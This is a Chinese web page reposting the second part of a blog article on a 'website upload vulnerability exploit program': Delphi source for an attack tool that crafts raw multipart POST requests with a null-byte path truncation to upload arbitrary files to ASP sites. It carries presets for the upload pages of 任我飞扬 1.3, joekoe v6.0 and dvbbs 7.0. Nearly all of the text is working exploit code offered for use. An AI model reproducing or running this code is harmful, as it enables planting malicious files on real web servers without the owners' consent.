网站上传漏洞利用程序[2]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 hnxyy 的 blog

    application.messagebox('上传成功!','提示',mb_ok+mb_iconinformation);
    cls.active :=false;
  end;
end;

procedure tform1.senddata;
var
  ss,ss1,updata:string;
  i:integer;
begin
  for i:=0 to memo1.lines.count-1 do
    updata :=updata+memo1.lines[i];
  //http头信息
  ss:='post '+bbspath+' http/1.1'+#13#10;
  ss:=ss+'content-type: multipart/form-data; boundary=www.wrsky.com'+#13#10;
  ss:=ss+'referer: http://'+host+bbspath+#13#10;
  //ss:=ss+'accept-language: zh-cn'+#13#10;
  //ss:=ss+'connection: keep-alive'+#13#10;
  //ss:=ss+'cache-control: no-cache'+#13#10;
  //ss:=ss+'accept-encoding: gzip, deflate'+#13#10;
  //ss:=ss+'user-agent: mozilla/4.0 '+#13#10;
  ss:=ss+'host: '+host+#13#10;
  //发送的内容
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'content-disposition: form-data; name="'+trim(edtpathfield.text)+'"'+#13#10#13#10;
  ss1:=ss1+upfname+char(0)+#13#10;
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'content-disposition: form-data; name="'+trim(edtfilefield.text)+'"; filename="d:\newmm.'+ftype+'"'+#13#10;
  ss1:=ss1+'content-type: text/plain'+#13#10#13#10;
  ss1:=ss1+updata+#13#10#13#10;
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'content-disposition: form-data; name="submit"'+#13#10#13#10;
  ss1:=ss1+'上传'+#13#10;
  ss1:=ss1+'www.wrsky.com--'+#13#10#13#10;

  ss:=ss+'content-length: '+inttostr(length(ss1))+#13#10;
  ss:=ss+'cookie: '+trim(memo2.text)+#13#10#13#10;
  ss:=ss+ss1;
  cls.socket.sendtext(ss);
end;

procedure tform1.clsconnect(sender: tobject; socket: tcustomwinsocket);
begin
  senddata;
end;

procedure tform1.inivariant;
var
  ipos:integer;
begin
  urlpath :=trim(edturl.text);
  urlpath :=copy(urlpath,8,length(urlpath)-7);
  ipos:=pos('/',urlpath);
  host:=copy(urlpath,1,ipos-1);
  bbspath:=copy(urlpath,ipos,length(urlpath)-ipos+1);
  upfname :=trim(edtuppath.text);
  ftype :=trim(edttype.text);
  cls.host :=host;
  cls.port :=80;
  cls.active :=true;
end;

procedure tform1.formshow(sender: tobject);
begin
  setrdbcheck(rb1);
end;

procedure tform1.setrdbcheck(rd: tradiobutton);
begin
  //任我飞扬1.3
  if rd=rb1 then
  begin
    edturl.text :='http://www.xxx.com/img_upfile.asp';
    edtpathfield.text :='filepath';
    edtfilefield.text :='file1';
    memo2.text :='isfirst=true;aspsessionidssqaqqac=fbhdklaailjjefpajgmiaggo';
  end;
  //joekoe v6.0
  if rd=rb2 then
  begin
    edturl.text :='http://www.xxx.com/upload.asp?action=upfile';
    edtpathfield.text :='up_name';
    edtfilefield.text :='file_name1';
    memo2.text :='需要自己抓取';
  end;
  //dvbbs 7.0
  if rd=rb3 then
  begin
    edturl.text :='http://www.xxx.com/bbs/upfile.asp';
    edtpathfield.text :='filepath';
    edtfilefield.text :='file1';
    memo2.text :='iscookies=0;aspsessionidacrqtbcs=ogaldebdbbigmlohfkmojfko';
  end;
end;

procedure tform1.rb2click(sender: tobject);
begin
  setrdbcheck(rb2);
end;

procedure tform1.rb3click(sender: tobject);
begin
  setrdbcheck(rb3);
end;

procedure tform1.rb1click(sender: tobject);
begin
  setrdbcheck(rb1);
end;

end.

////////////////////////////////////////////////////////////////
commupfile 1.0

作者:hnxyy  qq:19026695

 2004.12.07    北京


firefox技术交流论坛
http://www.wrsky.com
临时访问地址
http://firefoxer.nease.net
it is all beginnings free
it is all ruin to be privately owned


本文关键:网站上传漏洞利用程序
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top